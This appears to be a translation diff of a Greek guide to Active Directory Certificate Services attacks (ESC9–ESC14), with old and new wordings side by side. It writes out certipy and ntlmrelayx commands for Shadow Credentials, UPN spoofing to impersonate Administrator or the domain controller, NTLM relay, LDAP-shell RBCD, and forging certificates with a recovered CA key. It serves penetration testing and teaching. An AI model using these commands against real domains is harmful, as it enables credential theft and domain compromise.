Ας υποθέσουμε ότι ο `John@corp.local` έχει δικαιώματα `GenericWrite` πάνω στον `Jane@corp.local`, με στόχο να παραβιάσει τον `Administrator@corp.local`. Το πρότυπο πιστοποιητικού `ESC9`, στο οποίο επιτρέπεται στον `Jane@corp.local` να εγγραφεί, είναι ρυθμισμένο με το flag `CT_FLAG_NO_SECURITY_EXTENSION` στη ρύθμιση `msPKI-Enrollment-Flag`.
|
||||
Ας υποθέσουμε ότι ο `John@corp.local` κατέχει δικαιώματα `GenericWrite` πάνω στον `Jane@corp.local`, με στόχο να υποκλέψει τον `Administrator@corp.local`. Το πρότυπο πιστοποιητικού `ESC9`, στο οποίο ο `Jane@corp.local` επιτρέπεται να εγγραφεί, είναι ρυθμισμένο με τη σημαία `CT_FLAG_NO_SECURITY_EXTENSION` στη ρύθμιση `msPKI-Enrollment-Flag`.
|
||||
|
||||
Αρχικά, το hash της `Jane` αποκτάται χρησιμοποιώντας Shadow Credentials, χάρη στο `GenericWrite` του `John`:
|
||||
Αρχικά, το hash της `Jane` αποκτάται χρησιμοποιώντας Shadow Credentials, χάρη στα `GenericWrite` του `John`:
|
||||
```bash
|
||||
certipy shadow auto -username John@corp.local -password Passw0rd! -account Jane
|
||||
```
|
||||
Στη συνέχεια, το `userPrincipalName` της `Jane` τροποποιείται σε `Administrator`, εσκεμμένα παραλείποντας το τμήμα domain `@corp.local`:
|
||||
Στη συνέχεια, το `userPrincipalName` της `Jane` τροποποιείται σε `Administrator`, εσκεμμένα παραλείποντας το μέρος του domain `@corp.local`:
|
||||
```bash
|
||||
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
|
||||
```
|
||||
Αυτή η τροποποίηση δεν παραβιάζει τους περιορισμούς, δεδομένου ότι το `Administrator@corp.local` παραμένει ξεχωριστό ως `Administrator`'s `userPrincipalName`.
|
||||
|
||||
Κατόπιν τούτου, το πρότυπο πιστοποιητικού `ESC9`, επισημασμένο ως ευάλωτο, ζητείται ως `Jane`:
|
||||
Κατόπιν αυτού, το πρότυπο πιστοποιητικού `ESC9`, επισημασμένο ως ευάλωτο, ζητείται ως `Jane`:
|
||||
```bash
|
||||
certipy req -username jane@corp.local -hashes <hash> -ca corp-DC-CA -template ESC9
|
||||
```
|
||||
Σημειώνεται ότι το `userPrincipalName` του πιστοποιητικού αντανακλά τον `Administrator`, χωρίς κανένα “object SID”.
|
||||
Σημειώνεται ότι το `userPrincipalName` του πιστοποιητικού αντικατοπτρίζει `Administrator`, χωρίς κανένα “object SID”.
|
||||
|
||||
Το `userPrincipalName` της `Jane` επανέρχεται στην αρχική της τιμή, `Jane@corp.local`:
|
||||
Το `userPrincipalName` της `Jane` στη συνέχεια επαναφέρεται στο αρχικό της, `Jane@corp.local`:
|
||||
```bash
|
||||
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local
|
||||
```
|
||||
Η προσπάθεια αυθεντικοποίησης με το εκδοθέν πιστοποιητικό τώρα αποδίδει το NT hash του `Administrator@corp.local`. Η εντολή πρέπει να περιλαμβάνει `-domain <domain>` λόγω της έλλειψης καθορισμού domain στο πιστοποιητικό:
|
||||
Η προσπάθεια αυθεντικοποίησης με το εκδοθέν πιστοποιητικό τώρα επιστρέφει το NT hash του `Administrator@corp.local`. Η εντολή πρέπει να περιλαμβάνει `-domain <domain>` επειδή το πιστοποιητικό δεν περιέχει καθορισμένο domain:
|
||||
```bash
|
||||
certipy auth -pfx adminitrator.pfx -domain corp.local
|
||||
```
|
||||
## Αδύναμες αντιστοιχίσεις πιστοποιητικών - ESC10
|
||||
## Αδύναμες Αντιστοιχίσεις Πιστοποιητικών - ESC10
|
||||
|
||||
### Επεξήγηση
|
||||
### Εξήγηση
|
||||
|
||||
Δύο τιμές κλειδιών μητρώου στον domain controller αναφέρονται από το ESC10:
|
||||
|
||||
- Η προεπιλεγμένη τιμή για `CertificateMappingMethods` κάτω από `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` είναι `0x18` (`0x8 | 0x10`), προηγουμένως ρυθμισμένη σε `0x1F`.
|
||||
- Η προεπιλεγμένη ρύθμιση για `StrongCertificateBindingEnforcement` κάτω από `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` είναι `1`, προηγουμένως `0`.
|
||||
- Η προεπιλεγμένη τιμή για το `CertificateMappingMethods` στο `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` είναι `0x18` (`0x8 | 0x10`), προηγουμένως ορισμένη σε `0x1F`.
|
||||
- Η προεπιλεγμένη ρύθμιση για το `StrongCertificateBindingEnforcement` στο `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` είναι `1`, προηγουμένως `0`.
|
||||
|
||||
**Περίπτωση 1**
|
||||
### Περίπτωση 1
|
||||
|
||||
Όταν το `StrongCertificateBindingEnforcement` είναι ρυθμισμένο σε `0`.
|
||||
|
||||
**Περίπτωση 2**
|
||||
### Περίπτωση 2
|
||||
|
||||
Αν το `CertificateMappingMethods` περιλαμβάνει το bit `UPN` (`0x4`).
|
||||
Εάν το `CertificateMappingMethods` περιλαμβάνει το bit `UPN` (`0x4`).
|
||||
|
||||
### Περίπτωση Κατάχρησης 1
|
||||
|
||||
Με το `StrongCertificateBindingEnforcement` ρυθμισμένο σε `0`, ένας λογαριασμός A με δικαιώματα `GenericWrite` μπορεί να εκμεταλλευτεί για να παραβιάσει οποιονδήποτε λογαριασμό B.
|
||||
Με το `StrongCertificateBindingEnforcement` ρυθμισμένο σε `0`, ένας λογαριασμός A με δικαιώματα `GenericWrite` μπορεί να χρησιμοποιηθεί για την παραβίαση οποιουδήποτε λογαριασμού B.
|
||||
|
||||
Για παράδειγμα, έχοντας δικαιώματα `GenericWrite` στον λογαριασμό `Jane@corp.local`, ένας επιτιθέμενος στοχεύει να παραβιάσει τον `Administrator@corp.local`. Η διαδικασία είναι παρόμοια με το ESC9, επιτρέποντας τη χρήση οποιουδήποτε template πιστοποιητικού.
|
||||
Για παράδειγμα, έχοντας δικαιώματα `GenericWrite` πάνω στο `Jane@corp.local`, ένας επιτιθέμενος στοχεύει να παραβιάσει το `Administrator@corp.local`. Η διαδικασία αντανακλά το ESC9, επιτρέποντας τη χρήση οποιουδήποτε προτύπου πιστοποιητικού.
|
||||
|
||||
Αρχικά, το hash της Jane ανακτάται χρησιμοποιώντας Shadow Credentials, εκμεταλλευόμενο το `GenericWrite`.
|
||||
Αρχικά, το hash της `Jane` ανακτάται χρησιμοποιώντας Shadow Credentials, εκμεταλλευόμενο το `GenericWrite`.
|
||||
```bash
|
||||
certipy shadow autho -username John@corp.local -p Passw0rd! -a Jane
|
||||
```
|
||||
Στη συνέχεια, το `userPrincipalName` της `Jane` αλλάζεται σε `Administrator`, εσκεμμένα παραλείποντας το τμήμα `@corp.local` για να αποφευχθεί μια παραβίαση περιορισμού.
|
||||
Στη συνέχεια, το `userPrincipalName` της `Jane` αλλάζεται σε `Administrator`, σκόπιμα παραλείποντας το τμήμα `@corp.local` για να αποφευχθεί μια παραβίαση περιορισμού.
|
||||
```bash
|
||||
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
|
||||
```
|
||||
Κατόπιν αυτού, ζητείται ένα πιστοποιητικό που επιτρέπει την πιστοποίηση πελάτη ως `Jane`, χρησιμοποιώντας το προεπιλεγμένο πρότυπο `User`.
|
||||
Στη συνέχεια, ζητείται ένα πιστοποιητικό που επιτρέπει την αυθεντικοποίηση πελάτη ως `Jane`, χρησιμοποιώντας το προεπιλεγμένο πρότυπο `User`.
|
||||
```bash
|
||||
certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
|
||||
```
|
||||
@ -538,23 +532,23 @@ certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
|
||||
```bash
|
||||
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local
|
||||
```
|
||||
Η αυθεντικοποίηση με το αποκτηθέν πιστοποιητικό θα αποδώσει το NT hash του `Administrator@corp.local`, καθιστώντας απαραίτητο τον καθορισμό του domain στην εντολή λόγω της έλλειψης στοιχείων του domain στο πιστοποιητικό.
|
||||
Η αυθεντικοποίηση με το αποκτηθέν πιστοποιητικό θα αποδώσει το NT hash του `Administrator@corp.local`, απαιτώντας να καθοριστεί το domain στην εντολή λόγω της έλλειψης στοιχείων domain στο πιστοποιητικό.
|
||||
```bash
|
||||
certipy auth -pfx administrator.pfx -domain corp.local
|
||||
```
|
||||
### Περίπτωση Κατάχρησης 2
|
||||
|
||||
Όταν το `CertificateMappingMethods` περιέχει το bit flag `UPN` (`0x4`), ένας λογαριασμός A με δικαιώματα `GenericWrite` μπορεί να συμβιβάσει οποιονδήποτε λογαριασμό B που δεν έχει την ιδιότητα `userPrincipalName`, συμπεριλαμβανομένων των machine accounts και του built-in domain administrator `Administrator`.
|
||||
Με το `CertificateMappingMethods` να περιέχει τη σημαία bit `UPN` (`0x4`), ένας λογαριασμός A με δικαιώματα `GenericWrite` μπορεί να συμβιβάσει οποιονδήποτε λογαριασμό B που δεν διαθέτει ιδιότητα `userPrincipalName`, συμπεριλαμβανομένων των machine accounts και του built-in domain administrator `Administrator`.
|
||||
|
||||
Εδώ, ο στόχος είναι να συμβιβαστεί ο `DC$@corp.local`, ξεκινώντας με την απόκτηση του hash της `Jane` μέσω Shadow Credentials, αξιοποιώντας το `GenericWrite`.
|
||||
```bash
|
||||
certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane
|
||||
```
|
||||
Το `userPrincipalName` της `Jane` στη συνέχεια ορίζεται σε `DC$@corp.local`.
|
||||
`Jane`'s `userPrincipalName` τότε ορίζεται σε `DC$@corp.local`.
|
||||
```bash
|
||||
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'DC$@corp.local'
|
||||
```
|
||||
Ένα πιστοποιητικό για αυθεντικοποίηση πελάτη ζητείται ως `Jane` χρησιμοποιώντας το προεπιλεγμένο πρότυπο `User`.
|
||||
Ένα πιστοποιητικό για ταυτοποίηση πελάτη ζητήθηκε ως `Jane` χρησιμοποιώντας το προεπιλεγμένο πρότυπο `User`.
|
||||
```bash
|
||||
certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
|
||||
```
|
||||
@ -562,23 +556,23 @@ certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
|
||||
```bash
|
||||
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'Jane@corp.local'
|
||||
```
|
||||
Για να γίνει authenticate μέσω Schannel, χρησιμοποιείται η επιλογή `-ldap-shell` του Certipy, υποδεικνύοντας επιτυχή authentication ως `u:CORP\DC$`.
|
||||
Για να γίνει αυθεντικοποίηση μέσω Schannel, χρησιμοποιείται η επιλογή `-ldap-shell` του Certipy, υποδεικνύοντας επιτυχή αυθεντικοποίηση ως `u:CORP\DC$`.
|
||||
```bash
|
||||
certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
|
||||
```
|
||||
Μέσω του LDAP shell, εντολές όπως `set_rbcd` επιτρέπουν επιθέσεις Resource-Based Constrained Delegation (RBCD), ενδεχομένως θέτοντας σε κίνδυνο τον domain controller.
|
||||
Μέσω του LDAP shell, εντολές όπως `set_rbcd` επιτρέπουν επιθέσεις Resource-Based Constrained Delegation (RBCD), που ενδέχεται να παραβιάσουν τον domain controller.
|
||||
```bash
|
||||
certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
|
||||
```
|
||||
Αυτή η ευπάθεια εκτείνεται επίσης σε οποιονδήποτε λογαριασμό χρήστη που δεν διαθέτει `userPrincipalName` ή όπου αυτό δεν αντιστοιχεί στο `sAMAccountName`, με τον προεπιλεγμένο `Administrator@corp.local` να αποτελεί βασικό στόχο λόγω των αυξημένων LDAP προνομίων του και της απουσίας `userPrincipalName` από προεπιλογή.
|
||||
Αυτή η ευπάθεια επεκτείνεται επίσης σε οποιονδήποτε λογαριασμό χρήστη που δεν διαθέτει `userPrincipalName` ή όπου αυτό δεν ταιριάζει με το `sAMAccountName`, με τον προεπιλεγμένο `Administrator@corp.local` να αποτελεί κύριο στόχο λόγω των αυξημένων προνομίων LDAP και της απουσίας `userPrincipalName` από προεπιλογή.
|
||||
|
||||
## Μεταβίβαση NTLM σε ICPR - ESC11
|
||||
## Relaying NTLM to ICPR - ESC11
|
||||
|
||||
### Εξήγηση
|
||||
### Explanation
|
||||
|
||||
Εάν ο CA Server δεν είναι διαμορφωμένος με `IF_ENFORCEENCRYPTICERTREQUEST`, αυτό μπορεί να επιτρέψει NTLM relay attacks χωρίς υπογραφή μέσω της υπηρεσίας RPC. [Αναφορά εδώ](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/).
|
||||
Εάν ο CA Server δεν είναι ρυθμισμένος με το `IF_ENFORCEENCRYPTICERTREQUEST`, αυτό μπορεί να επιτρέψει NTLM relay attacks χωρίς signing μέσω της υπηρεσίας RPC. [Reference in here](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/).
|
||||
|
||||
Μπορείτε να χρησιμοποιήσετε το `certipy` για να ελέγξετε αν το `Enforce Encryption for Requests` είναι απενεργοποιημένο και το `certipy` θα εμφανίσει ευπάθειες `ESC11`.
|
||||
Μπορείτε να χρησιμοποιήσετε το `certipy` για να εντοπίσετε εάν το `Enforce Encryption for Requests` είναι Disabled και το certipy θα εμφανίσει τις `ESC11` Vulnerabilities.
|
||||
```bash
|
||||
$ certipy find -u mane@domain.local -p 'password' -dc-ip 192.168.100.100 -stdout
|
||||
Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||
@ -597,7 +591,7 @@ ESC11 : Encryption is not enforced for ICPR requests
|
||||
```
|
||||
### Σενάριο Κατάχρησης
|
||||
|
||||
Χρειάζεται να εγκατασταθεί ένας relay server:
|
||||
Χρειάζεται να ρυθμίσει έναν relay server:
|
||||
```bash
|
||||
$ certipy relay -target 'rpc://DC01.domain.local' -ca 'DC01-CA' -dc-ip 192.168.100.100
|
||||
Certipy v4.7.0 - by Oliver Lyak (ly4k)
|
||||
@ -616,7 +610,7 @@ Certipy v4.7.0 - by Oliver Lyak (ly4k)
|
||||
[*] Saved certificate and private key to 'administrator.pfx'
|
||||
[*] Exiting...
|
||||
```
|
||||
Σημείωση: Για domain controllers, πρέπει να καθορίσουμε το `-template` στο DomainController.
|
||||
Σημείωση: Για τους domain controllers, πρέπει να ορίσουμε `-template` στο DomainController.
|
||||
|
||||
Ή χρησιμοποιώντας [sploutchy's fork of impacket](https://github.com/sploutchy/impacket) :
|
||||
```bash
|
||||
@ -624,21 +618,21 @@ $ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -s
|
||||
```
|
||||
## Shell access to ADCS CA with YubiHSM - ESC12
|
||||
|
||||
### Επεξήγηση
|
||||
### Εξήγηση
|
||||
|
||||
Οι διαχειριστές μπορούν να ρυθμίσουν την Certificate Authority ώστε να αποθηκεύεται σε μια εξωτερική συσκευή όπως το "Yubico YubiHSM2".
|
||||
Οι διαχειριστές μπορούν να ρυθμίσουν την Certificate Authority ώστε να αποθηκεύεται σε εξωτερική συσκευή όπως το "Yubico YubiHSM2".
|
||||
|
||||
Εάν μια USB συσκευή είναι συνδεδεμένη στον CA server μέσω θύρας USB, ή σε USB device server στην περίπτωση που ο CA server είναι virtual machine, απαιτείται ένα authentication key (μερικές φορές αναφερόμενο ως "password") για τον Key Storage Provider ώστε να δημιουργεί και να χρησιμοποιεί κλειδιά στο YubiHSM.
|
||||
Εάν η USB συσκευή είναι συνδεδεμένη στον CA server μέσω θύρας USB, ή σε USB device server στην περίπτωση που ο CA server είναι virtual machine, απαιτείται ένα authentication key (μερικές φορές αναφερόμενο ως "password") για τον Key Storage Provider ώστε να δημιουργεί και να χρησιμοποιεί κλειδιά στο YubiHSM.
|
||||
|
||||
Αυτό το key/password αποθηκεύεται στο registry κάτω από `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` σε απλό κείμενο.
|
||||
Αυτό το key/password αποθηκεύεται στο registry υπό `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` σε απλό κείμενο.
|
||||
|
||||
Αναφορά [εδώ](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm).
|
||||
Reference in [here](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm).
|
||||
|
||||
### Σενάριο Κατάχρησης
|
||||
|
||||
Εάν το ιδιωτικό κλειδί της CA είναι αποθηκευμένο σε φυσική USB συσκευή και αποκτήσετε shell access, είναι πιθανό να ανακτήσετε το κλειδί.
|
||||
Εάν το ιδιωτικό κλειδί της CA είναι αποθηκευμένο σε φυσική USB συσκευή όταν έχετε πρόσβαση σε shell, είναι δυνατό να ανακτηθεί το κλειδί.
|
||||
|
||||
Πρώτα, πρέπει να αποκτήσετε το CA certificate (αυτό είναι δημόσιο) και στη συνέχεια:
|
||||
Αρχικά, πρέπει να αποκτήσετε το πιστοποιητικό της CA (αυτό είναι δημόσιο) και στη συνέχεια:
|
||||
```cmd
|
||||
# import it to the user store with CA certificate
|
||||
$ certutil -addstore -user my <CA certificate file>
|
||||
@ -646,17 +640,17 @@ $ certutil -addstore -user my <CA certificate file>
|
||||
# Associated with the private key in the YubiHSM2 device
|
||||
$ certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my <CA Common Name>
|
||||
```
|
||||
Τέλος, χρησιμοποιήστε την εντολή certutil `-sign` για να forge ένα νέο αυθαίρετο πιστοποιητικό χρησιμοποιώντας το πιστοποιητικό CA και το ιδιωτικό του κλειδί.
|
||||
Τέλος, χρησιμοποιήστε την εντολή certutil `-sign` για να πλαστογραφήσετε ένα νέο αυθαίρετο πιστοποιητικό χρησιμοποιώντας το πιστοποιητικό CA και το ιδιωτικό του κλειδί.
|
||||
|
||||
## OID Group Link Abuse - ESC13
|
||||
|
||||
### Εξήγηση
|
||||
|
||||
Το attribute `msPKI-Certificate-Policy` επιτρέπει την προσθήκη της πολιτικής έκδοσης στο πρότυπο πιστοποιητικού. Τα αντικείμενα `msPKI-Enterprise-Oid` που είναι υπεύθυνα για την έκδοση πολιτικών μπορούν να εντοπιστούν στο Configuration Naming Context (CN=OID,CN=Public Key Services,CN=Services) του PKI OID container. Μια policy μπορεί να συνδεθεί με μια ομάδα AD χρησιμοποιώντας το attribute `msDS-OIDToGroupLink` αυτού του αντικειμένου, επιτρέποντας σε ένα σύστημα να εξουσιοδοτήσει έναν χρήστη που παρουσιάζει το πιστοποιητικό σαν να ήταν μέλος της ομάδας. [Reference in here](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53).
|
||||
Η ιδιότητα `msPKI-Certificate-Policy` επιτρέπει την προσθήκη της πολιτικής έκδοσης στο πρότυπο πιστοποιητικού. Τα αντικείμενα `msPKI-Enterprise-Oid` που είναι υπεύθυνα για τις πολιτικές έκδοσης μπορούν να εντοπιστούν στο Configuration Naming Context (CN=OID,CN=Public Key Services,CN=Services) του PKI OID container. Μια πολιτική μπορεί να συσχετιστεί με μια AD group χρησιμοποιώντας την ιδιότητα `msDS-OIDToGroupLink` αυτού του αντικειμένου, επιτρέποντας σε ένα σύστημα να εξουσιοδοτήσει έναν χρήστη που παρουσιάζει το πιστοποιητικό σαν να ήταν μέλος της ομάδας. [Reference in here](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53).
|
||||
|
||||
Με άλλα λόγια, όταν ένας χρήστης έχει άδεια να enroll ένα πιστοποιητικό και το πιστοποιητικό είναι linked σε μια OID group, ο χρήστης μπορεί να κληρονομήσει τα προνόμια αυτής της ομάδας.
|
||||
Με άλλα λόγια, όταν ένας χρήστης έχει άδεια να εγγραφεί για ένα πιστοποιητικό και το πιστοποιητικό είναι συνδεδεμένο με μια OID group, ο χρήστης μπορεί να κληρονομήσει τα προνόμια αυτής της ομάδας.
|
||||
|
||||
Χρησιμοποιήστε [Check-ADCSESC13.ps1](https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1) για να βρείτε OIDToGroupLink:
|
||||
Χρησιμοποιήστε [Check-ADCSESC13.ps1](https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1) για να βρείτε το OIDToGroupLink:
|
||||
```bash
|
||||
Enumerating OIDs
|
||||
------------------------
|
||||
@ -680,47 +674,47 @@ OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
|
||||
```
|
||||
### Σενάριο Κατάχρησης
|
||||
|
||||
Εντοπίστε μια άδεια χρήστη που μπορείτε να χρησιμοποιήσετε με `certipy find` ή `Certify.exe find /showAllPermissions`.
|
||||
Βρείτε ένα δικαίωμα χρήστη που μπορείτε να χρησιμοποιήσετε με `certipy find` ή `Certify.exe find /showAllPermissions`.
|
||||
|
||||
Αν ο χρήστης `John` έχει άδεια να εγγραφεί στο `VulnerableTemplate`, ο χρήστης μπορεί να κληρονομήσει τα προνόμια της ομάδας `VulnerableGroup`.
|
||||
Αν ο `John` έχει δικαίωμα εγγραφής στο `VulnerableTemplate`, ο χρήστης μπορεί να κληρονομήσει τα προνόμια της ομάδας `VulnerableGroup`.
|
||||
|
||||
Το μόνο που χρειάζεται να κάνει είναι να καθορίσει το πρότυπο — θα λάβει ένα πιστοποιητικό με δικαιώματα OIDToGroupLink.
|
||||
Το μόνο που χρειάζεται να κάνει είναι να καθορίσει το template, και θα λάβει ένα πιστοποιητικό με δικαιώματα OIDToGroupLink.
|
||||
```bash
|
||||
certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target "DC01.domain.local" -ca 'DC01-CA' -template 'VulnerableTemplate'
|
||||
```
|
||||
## Ευάλωτη Διαμόρφωση Ανανέωσης Πιστοποιητικού - ESC14
|
||||
## Ευπαθής Διαμόρφωση Ανανέωσης Πιστοποιητικών - ESC14
|
||||
|
||||
### Εξήγηση
|
||||
|
||||
Η περιγραφή στο https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc14-weak-explicit-certificate-mapping είναι εξαιρετικά λεπτομερής. Παρακάτω υπάρχει απόσπασμα του αρχικού κειμένου.
|
||||
Η περιγραφή στο https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc14-weak-explicit-certificate-mapping είναι εξαιρετικά αναλυτική. Παρακάτω υπάρχει απόσπασμα του αρχικού κειμένου.
|
||||
|
||||
Το ESC14 αντιμετωπίζει ευπάθειες που προκύπτουν από "weak explicit certificate mapping", κυρίως μέσω της κατάχρησης ή της ανασφαλούς διαμόρφωσης του χαρακτηριστικού `altSecurityIdentities` σε λογαριασμούς χρήστη ή υπολογιστή στο Active Directory. Αυτό το πολυτιμης/πολλαπλών τιμών attribute επιτρέπει στους διαχειριστές να συσχετίσουν χειροκίνητα πιστοποιητικά X.509 με έναν λογαριασμό AD για σκοπούς πιστοποίησης. Όταν είναι συμπληρωμένο, αυτές οι explicit mappings μπορούν να παρακάμψουν τη προεπιλεγμένη λογική αντιστοίχισης πιστοποιητικών, η οποία τυπικά βασίζεται σε UPNs ή DNS names στο SAN του πιστοποιητικού, ή στο SID που είναι ενσωματωμένο στην `szOID_NTDS_CA_SECURITY_EXT` security extension.
|
||||
Το ESC14 αντιμετωπίζει ευπάθειες που προκύπτουν από "weak explicit certificate mapping", κυρίως λόγω κακής χρήσης ή ανασφαλούς διαμόρφωσης του χαρακτηριστικού `altSecurityIdentities` σε λογαριασμούς χρήστη ή υπολογιστή στο Active Directory. Αυτό το πολυτιμημένο (multi-valued) χαρακτηριστικό επιτρέπει στους διαχειριστές να συσχετίζουν χειροκίνητα X.509 certificates με έναν AD account για σκοπούς authentication. Όταν είναι συμπληρωμένο, αυτές οι explicit mappings μπορούν να υπερισχύσουν της προεπιλεγμένης λογικής αντιστοίχισης πιστοποιητικών, η οποία συνήθως βασίζεται σε UPNs ή DNS names στο SAN του πιστοποιητικού, ή στο SID ενσωματωμένο στην `szOID_NTDS_CA_SECURITY_EXT` security extension.
|
||||
|
||||
Μια "weak" αντιστοίχιση συμβαίνει όταν η string τιμή που χρησιμοποιείται μέσα στο `altSecurityIdentities` attribute για να ταυτοποιήσει ένα πιστοποιητικό είναι πολύ γενική, εύκολα εικασίσιμη, βασίζεται σε μη μονοσήμαντα πεδία πιστοποιητικού, ή χρησιμοποιεί εύκολα παραποιήσιμα συστατικά του πιστοποιητικού. Εάν ένας επιτιθέμενος μπορεί να αποκτήσει ή να κατασκευάσει ένα πιστοποιητικό του οποίου τα attributes ταιριάζουν με μια τέτοια αδύναμα ορισμένη explicit mapping για έναν privileged λογαριασμό, μπορεί να χρησιμοποιήσει αυτό το πιστοποιητικό για να πιστοποιηθεί ως και να προσποιηθεί ότι είναι ο εν λόγω λογαριασμός.
|
||||
Μια "weak" mapping συμβαίνει όταν η τιμή συμβολοσειράς που χρησιμοποιείται μέσα στο `altSecurityIdentities` για να αναγνωρίσει ένα πιστοποιητικό είναι πολύ ευρεία, εύκολα μαντέψιμη, βασίζεται σε μη μοναδικά πεδία πιστοποιητικού, ή χρησιμοποιεί εύκολα spoofable συστατικά πιστοποιητικού. Εάν ένας επιτιθέμενος μπορεί να αποκτήσει ή να κατασκευάσει ένα πιστοποιητικό του οποίου τα attributes ταιριάζουν με μια τέτοια αδύναμα καθορισμένη explicit mapping για έναν privileged account, μπορεί να χρησιμοποιήσει αυτό το πιστοποιητικό για να authentication και να προσποιηθεί ότι είναι αυτός ο account.
|
||||
|
||||
Παραδείγματα ενδεχομένως αδύναμων `altSecurityIdentities` mapping strings περιλαμβάνουν:
|
||||
Παραδείγματα πιθανώς αδύναμων `altSecurityIdentities` mapping strings περιλαμβάνουν:
|
||||
|
||||
- Mapping solely by a common Subject Common Name (CN): π.χ., `X509:<S>CN=SomeUser`. Ένας επιτιθέμενος μπορεί να είναι σε θέση να αποκτήσει ένα πιστοποιητικό με αυτό το CN από κάποια λιγότερο ασφαλή πηγή.
|
||||
- Using overly generic Issuer Distinguished Names (DNs) or Subject DNs without further qualification like a specific serial number or subject key identifier: π.χ., `X509:<I>CN=SomeInternalCA<S>CN=GenericUser`.
|
||||
- Employing other predictable patterns or non-cryptographic identifiers that an attacker might be able to satisfy in a certificate they can legitimately obtain or forge (if they have compromised a CA or found a vulnerable template like in ESC1).
|
||||
- Mapping αποκλειστικά βάσει ενός κοινού Subject Common Name (CN): π.χ., `X509:<S>CN=SomeUser`. Ένας επιτιθέμενος ίσως να είναι σε θέση να αποκτήσει ένα πιστοποιητικό με αυτό το CN από μια λιγότερο ασφαλή πηγή.
|
||||
- Χρήση υπερβολικά γενικών Issuer Distinguished Names (DNs) ή Subject DNs χωρίς περαιτέρω προσδιορισμό όπως συγκεκριμένο serial number ή subject key identifier: π.χ., `X509:<I>CN=SomeInternalCA<S>CN=GenericUser`.
|
||||
- Εφαρμογή άλλων προβλέψιμων προτύπων ή μη-κρυπτογραφικών αναγνωριστικών που ένας επιτιθέμενος μπορεί να ικανοποιήσει σε ένα πιστοποιητικό που μπορεί νόμιμα να αποκτήσει ή να πλαστογραφήσει (εάν έχει kompromised μια CA ή βρει ένα ευάλωτο template όπως στο ESC1).
|
||||
|
||||
Το `altSecurityIdentities` attribute υποστηρίζει διάφορες μορφές για την αντιστοίχιση, όπως:
|
||||
Το χαρακτηριστικό `altSecurityIdentities` υποστηρίζει διάφορες μορφές για mapping, όπως:
|
||||
|
||||
- `X509:<I>IssuerDN<S>SubjectDN` (maps by full Issuer and Subject DN)
|
||||
- `X509:<SKI>SubjectKeyIdentifier` (maps by the certificate's Subject Key Identifier extension value)
|
||||
- `X509:<SR>SerialNumberBackedByIssuerDN` (maps by serial number, implicitly qualified by the Issuer DN) - this is not a standard format, usually it's `<I>IssuerDN<SR>SerialNumber`.
|
||||
- `X509:<RFC822>EmailAddress` (maps by an RFC822 name, typically an email address, from the SAN)
|
||||
- `X509:<SHA1-PUKEY>Thumbprint-of-Raw-PublicKey` (maps by a SHA1 hash of the certificate's raw public key - generally strong)
|
||||
- `X509:<I>IssuerDN<S>SubjectDN` (χαρτογραφεί βάσει πλήρους Issuer και Subject DN)
|
||||
- `X509:<SKI>SubjectKeyIdentifier` (χαρτογραφεί βάσει της τιμής του Subject Key Identifier extension του πιστοποιητικού)
|
||||
- `X509:<SR>SerialNumberBackedByIssuerDN` (χαρτογραφεί βάσει serial number, με implicit qualification από το Issuer DN) - αυτό δεν είναι τυπική μορφή, συνήθως είναι `<I>IssuerDN<SR>SerialNumber`.
|
||||
- `X509:<RFC822>EmailAddress` (χαρτογραφεί βάσει ενός RFC822 ονόματος, συνήθως διεύθυνση email, από το SAN)
|
||||
- `X509:<SHA1-PUKEY>Thumbprint-of-Raw-PublicKey` (χαρτογραφεί βάσει ενός SHA1 hash του raw public key του πιστοποιητικού - γενικά ισχυρό)
|
||||
|
||||
Η ασφάλεια αυτών των mappings εξαρτάται σε μεγάλο βαθμό από τη συγκεκριμενοποίηση, τη μοναδικότητα και την κρυπτογραφική ισχύ των επιλεγμένων ταυτοποιητών πιστοποιητικού που χρησιμοποιούνται στο mapping string. Ακόμα και με ενεργοποιημένα strong certificate binding modes στους Domain Controllers (που επηρεάζουν κυρίως implicit mappings βασισμένα σε SAN UPNs/DNS και την SID extension), μια κακώς διαμορφωμένη καταχώρηση `altSecurityIdentities` μπορεί εξακολουθητικά να παρέχει άμεσο δρόμο για impersonation αν η ίδια η λογική αντιστοίχισης είναι ελαττωματική ή υπερβολικά επιεικής.
|
||||
